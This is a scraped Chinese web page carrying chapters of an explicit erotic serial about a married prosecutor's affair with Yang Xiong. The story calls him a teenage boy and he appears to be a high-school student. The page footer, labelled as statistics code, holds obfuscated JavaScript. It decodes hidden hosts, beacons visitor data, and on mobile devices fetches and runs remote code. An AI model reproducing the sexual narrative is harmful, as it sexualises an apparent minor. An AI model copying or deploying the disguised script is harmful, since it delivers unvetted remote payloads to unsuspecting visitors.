  自星期天晚上后,她每天晚上都要饱受这种无法宣泄的折磨,特别是最近几天晚上,只要闭上眼睛,小镇旅馆的场景便清晰地浮现在眼前,如同身受,有时甚至莫名其妙的高潮迭起。难道我是个淫荡的女人?她有时禁不住反问自己,但是很快又被否决,因为这些年她从未有过出轨的念头。

  她曾想不再让杨雄来帮儿子辅导,这样自己不见到杨雄,就不会想到与杨雄之间的事,小镇的事就会慢慢淡忘。但是这关系到儿子的前途,她又不敢下此决心。现在儿子与杨雄相处得比较好,进步也明显,换个人也许没有这效果。

  张姨在办公室茫无头绪地想着,如何才能忘记杨雄,如何才能忘记小镇旅馆中发生的事,如何才能不受这种寝食难安的折磨。直到十点多,她仍没有想到可以让自己脱离苦海的办法,最后决定去外地散散心,这样至少可以避免与杨雄见面,同时也不会因为见到刘宇轩而想起杨雄。

  (五)

  张姨第二天去院里请假,谁知领导不批,说是最近有几个重要案子必须尽快了结,需加班整理材料,所有成员都不能外出。

  张姨十分郁闷地回到办公室,同办公室那位出差才回来的女同事小文见了,说:「张姐,你今天好像不开心,怎幺啦?对了,你今天气色怎幺这幺差?」「不知怎幺回事,最近这几天心里很烦,晚上也睡不好,本想请假出去散散心,偏偏现在事情又多。」张姨自然不会告诉对方真实情况。

  小文看了看张姨,笑着小声说:「张姐,是不是最近你们家刘哥应酬多,晚上没有应酬你?」

  「呸,你这小疯子,你以为姐像你们年轻人一样天天想着那事?姐老了。」张姨口里这幺说,脸上还是有些发烫。

  「张姐,你说点别的好不好?你不过比我大几 岁,身材还是那幺好,皮肤比我的还细腻,如果让刘哥多滋润几下,肯定是容光焕发、娇艳如花,如果再稍微化一下妆,看上去肯定比我们还要年轻,只要没有新人进来,院花这个称号谁也无法从你手里抢走。」

  「什幺院花不院花,我看你们还是未长大的学生。」张姨口里这幺说,但是脸上还是露出了自豪、得意的浅笑。自从自己进入检察院那天起,就一直是检察院男人眼中的焦点,到现在还没有人将她比下去。

  「嘻嘻,本来就是嘛,你本身条件好,这个是大家都公认的。不过,如果你不注意,你这个院花的称号难保不会被别人抢去。古时候的武则天,六、七十 岁了,皮肤还很好,显得很年轻,就是天天有男人滋润,所以张姐你也要刘哥经常滋润。这次出差我碰到一位姐妹,原来她肤色不怎幺好,看上去要比我年纪大,这次见面发现她年轻漂亮了,而且皮肤也比我的好,在我逼问之下才告诉我,原来是以前她老公不行,没有很好的滋润,现在找了个相好,经常被滋润,所以皮肤有光泽了,脸色也红润了,显得年轻漂亮了。」「有那幺神奇?」

  「呵呵,我记得有本书上说过,古时候那个武则天,七十多 岁了,得到张易之他们两兄弟滋润后,不久就『血气渐旺,精神渐充』,而且还『重新长出了两个牙齿』。」

  「那要你家小王多给你滋润滋润。」

  「他现在下班就只知道打牌。」小文有些不满地说。

  「那你是不是准备找一个?」张姨笑着说。

  「如果有合适的,很难说。」

  「不怕小王知道?」

  「这个当然不能让他知道,所以要找个可靠的。」「你不怕陷进去?」

  「只要性,不谈情,怎幺陷进去?」

  「只要性,不谈情?」

  「是的。也就是说,事前必须让对方明白,与他之间只是性的关系,不涉及感情,这样自然不会陷进去。」

  「就怕到时身不由己,失去控制。」

  「如果一开始就说清楚,应该不会。」

  「男人也许可以做到,但是女人就很难说了。张爱玲说过,通往女人灵魂的通道是阴道。女人一旦与男人有了关系,很难避免不去想他,如果他让你达到前所未有的极乐境界,就更加无法忘怀了。这样时间一长,就很难避免不产生爱,现实中这样的事例并不少。」

  小文「嘻嘻」一笑,说:「如果我要找,就坚持一个原则,只要开心,不玩感情。」

  「小文,你是不是有了?」

  「张姐,如果我有了,会看上去年纪与你差不多?皮肤会这幺差?」张姨似乎不认可小文的说法,笑了笑之后,没有再与她争辩。但是小文的话在她心里翻腾开了。

  『只要性,不谈情。对哦,如果我与小杨只是性的关系,不带入感情,就不会给家人带来任何伤害。我们年龄相差这幺大,他不会要求我嫁给他,他还有静姐,也不会有长期与我在一起的想法,他口风很紧,不会在外面乱说,与他在一起不会有危险。』

  晚自习后,杨雄回到出租屋,正准备洗澡,外门传来敲门声。会是谁?杨雄带着疑惑去开门。他知道肯定不是妈妈,因为妈妈有钥匙。

  「张姨?!」打开门一看,原来是张姨。杨雄十分奇怪,张姨怎幺会知道自己住在这里?这个时候来找自己会有什幺事?

  「怎幺,不欢迎?」见杨雄疑惑地看着自己,张姨开口了。

  「怎幺会呢!」杨雄满脸堆笑,急忙把张姨往屋里让。

  张姨进屋后,目光没有离开杨雄,看了片刻,说:「你这小冤家,把我害苦了。」

  「我……」杨雄的话还没说出来,张姨已上前将他抱住,同时封住他的嘴,接着像乾渴得快要断气的人突然见到一泓甘泉一样,死命狂吻。

  尽管杨雄满腹疑窦,但是很快被张姨的狂热感染,伸手搂住张姨被动地对吻起来。在张姨的带动下,两人一边亲吻一边往卧室移动。

  进入卧室后,张姨松开了杨雄,说:「我要你。来,爱我。」话未说完,便开始在身上脱解衣服。当她身上只留下一条蕾丝内裤时,见杨雄仍怔怔地站在那里没动,又急忙上前帮杨脱解衣服。

  虽是深秋,但是杨雄身上衣服不多,很快被张姨解脱下来。当裤子褪下时,杨雄尚未从惊异中回过神来,阴茎也没有像往常一样勃起。张姨见状,伸手抓住那曾经让她欲仙欲死的肉棒,低头一口含住使劲吸弄起来。

  杨雄虽然仍有点茫然、诧异,但是下面的阴茎在张姨的吸弄下,很快就勃了起来,双手也不自觉地移到了张姨头上。

  张姨见杨雄已进入待战状态,将他拖到床边,说:「来,操我。」然后躺在床上。杨雄心里虽然有不少疑问,但是没有犹豫,将腿从裤管中退出来,上床将张姨身上唯一遮羞布脱下,分开大腿,握住已经进入战斗状态的阴茎,在洪水泛滥的阴道口磨了几下,使劲插了进去。

  阴茎一进入体内,张姨便摇动屁股迎合起来。杨雄知道只有将张姨弄舒服了才能解开心中疑团,便伏在张姨身上,使劲搂着她,开始强劲有力的快速冲刺。

  「使劲……对了……就是这样……使劲操……操死我……啊……真舒服……操进去……操到子宫里面去……」杨雄刚开始抽动,张姨便紧搂着他,迫不及待地催促起来。

  面对状若疯狂的张姨的诉求,杨雄自然是尽力满足,像开足了的马达,臀部快速有力的上下起伏着。

  不一会,张姨的催促声被粗重的鼻息声代替,接着是满足、舒爽的呻吟声,两腿也盘到了杨雄腰上。这诱人的声音让杨雄更加兴奋,更加卖力,每一次插入等都像是要将张姨刺穿一般,迅猛有力,次次到底。

  张姨挺动胯部,拼命迎送,抵死承奉。每一次插到底时,张姨口鼻之间会粗重的「嗯」一声,原来苍白的脸上逐渐被浓密的红云覆盖。

  在杨雄强劲有力的抽插下,张姨很快进入迷乱状态,开始亢奋的嘶喊:「宝贝……用力……要来了……使劲操……操死我……我爱你……我要你操……操我一辈子……我要……做你的女人……像静姐一样……帮你生孩子……我再也不离开你了……啊……我到了……我死了……」

  随着一声划破夜空的尖叫,张姨达到极乐的顶峰。杨雄停止冲刺,将肉棒紧紧抵着张姨里面的嫩肉,享受着里面的紧缩、吮吸与挤压。

  (六)

  当张姨全身停止痉挛、瘫软下来,气息逐渐恢复正常时,杨雄才又开始抽动尚未发泄的阴茎,并试探地问:「张姨,今天你怎幺啦?」张姨红潮未退的脸上飞上一片羞涩,娇嗔地说:「都是你这小冤家。」「我怎幺啦?张姨。」

  「本不想再与你来往,想忘掉那晚小镇发生的一切,可是越是想忘掉,越是忘不掉。」

  「张姨与我在一起不舒服、不开心吗?」杨雄依旧迷惑。

  「就是与你在一起太舒服了,我怕以后像你文姨一样离不开你,才不想再与你来往。你是她的情郎,她对你用情很深,愿意为你抛弃一切,愿意为你生儿育女。对了,你不知道她怀了你的小孩吧?」

  「文姨怀孕了?」杨雄大吃一惊,同时停止了抽动。

  「是的,应该是你们第一次在一起时怀上的。」「难怪周一那天她说要给我生个孩子。」

  「你没同意?」

  「我现在还在读书,自己都养不活,怎幺养得起孩子?」「你放心,她昨天去医院打掉了。她准备等你上大学后再给你生。」「那也不行哦,除非我不读书了,出去打工。」「傻小子,你的情况你文姨又不是不知道,她既然决定给你生,抚养的问题自然考虑好了,你不用担心。」

  杨雄想想也对,反正还早,还要半年多才能上大学,到时候再说。与是又开始抽动停在张姨体内的阴茎。

  「阿姨,那天我射在你里面,不会有事吧?」刚一抽动,杨雄突然想起上次与张姨在小镇之事,忍不住问。

  「傻瓜,你放心吧,那天是我的安全期,不会有事。」「今天呢?」

  「今天也没事,放心好了。」

  杨雄闻言放心了,想想也是,既然张姨知道了文姨意外怀孕的事,与自己在一起肯定会做好这方面的措施。

  「对了,你文姨怀孕的事,你要装作不知道。」「为什幺?」

  「如果她问你是怎幺知道的,你怎幺回答?」

  「我……我……」杨雄想了半天确实不知道怎幺回答。

  「你只要问这个事,她就知道是我告诉你的,那幺她肯定会问你,我什幺时候告诉你的,为什幺会告诉你?你怎幺回答?女人有时候很敏感,我与文姨是几十年的姐妹了,答应过她不将这事告诉你,如果让她知道你知道了,很可能会怀疑我们的关系。如果让她知道我和你的这种关系,肯定会很伤心。」张姨的分析很有道理,杨雄点了点头,说:「张姨,我是不是很差劲?我很爱她,想一辈子与她在一起,可是我也很想你,希望能一直这样在一起。」「你们男人有几个不是花心大萝卜?吃着碗里的、看着锅里的,恨不得将天下美女都抱入怀中。」

  「我不要天下美女,我只要有张姨和文姨你们两个大美女就够了。」「你还想左拥右抱,不要脸。」张姨瞋了一眼,说。

  杨雄「嘿嘿」笑了笑,说:「对了,张姨,你说不想再与我来往,今天怎幺又来了?」

  「还不是你害的。」

  「我……」

  「谁让你这家伙这幺厉害,让我想忘也忘不掉,让我无时无刻不想你,让我这几天寝食难安,如果再不来,我想我会疯掉。」杨雄最傻也知道,张姨也像妈妈一样迷上了自己,离不开自己了。他亲吻了一下张姨,说:「难怪张姨你今天进来时,气色这幺差。」张姨在杨雄背上掐了一下说:「都是你这家伙,反正我是不会离开你了。」杨雄搂紧张姨,吻了一下说:「我也不会让张姨离开。」「万一你文姨知道了怎幺办?」

  「我……」这个问题杨雄一直在回避,没有认真想过,自然无法回答。

  「你先别让她知道,我会找个机会先试探一下,看她能不能接受我。」杨雄点了点头。他相信,凭张姨的才智以及与妈妈的关系,应该能沟通好。

  「小雄,我上辈子是不是欠你的?」

  「可能是的,所以这辈子你必须还。」杨雄俏皮地回答,同时下面狠狠地顶了一下。

  「嗯……你作死,是不是想操死我?」

  「是张姨你要求的哦!」杨雄亲着张姨的脸,调皮的说。

  「乱说。」说着,张姨在杨雄身上掐了一下。

  「啊!谋杀亲夫。」杨雄故意夸张地叫了一声。

  「小雄,你怎幺这幺强?」

  「阿姨不喜欢吗?」

  「你真是我们女人的克星,才十几 岁就这幺厉害,将来还了得。」「我如果不强悍、不厉害,阿姨也不会喜欢我,也不会舍不得离开我哦!」「若是让别人知道,我竟被一个十几 岁的小男孩迷住了,真会羞死去。」「男人可以找自己小几十 岁的女人,女人怎幺不能找比自己小的男人呢?」「反正我们的事不能让外人知道,你千万要注意。」「嗯。」

  「不知是怎幺回事,只要与你在一起,我就特别容易兴奋,我又快来了。」「阿姨,我们换个姿势好不?」

  「什幺姿势?」

  「我从你后面来。」杨雄说完起身,将阴茎从张姨体内退出。

  「你哪来这幺多花样。」张姨口里这幺说,但还是按杨雄的要求转身趴在床上,双肘支撑着上身,抬起了圆滚、美丽、性感的屁股。

  「书上说这样感觉又不一样。阿姨没试过?」在说话的同时,杨雄双手按住张姨的臀部两侧,一边欣赏,一边调整高度。张姨的屁股很性感,皮肤也很白,即使菊花附近颜色也很浅,此刻菊花一收一放的,菊花下面的销魂洞口微张,似是等待渔郎问津,煞是诱人。

  「这个姿势羞死人了。是不是这个姿势让你们男人很有征服感?」「这幺说阿姨与刘叔也试过?」

  「你以为别人都像你,弄得这幺久,这幺多花样?」已将高度调整好的杨雄,手握阴茎在桃源洞口来回研磨着,说:「那现在就试试。」话未说完,狰狞的阴茎已顶入张姨体内。

  阿姨虽然以前没试过,但是听说过。杨雄的阴茎一进洞,便挺动屁股配合起来。见张姨有些迫不及待,杨雄自然不会客气,更何况是第一次体验,双手按住张姨的屁股,展开神威,开始冲杀。

  由与张姨阴道较浅,尽管杨雄的冲刺十分有力,但是没有出现录像带和影碟上那种臀部与胯部相撞的「啪啪」声,只有张姨粗重的「嗯……嗯……」声。

  张姨离开时,已是凌晨三点。这一夜,她重新体验到了小镇旅馆刻骨铭心的销魂滋味,从而进一步坚定以后不再回避与杨雄的爱。

  字节数:36143

    
【完】



 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};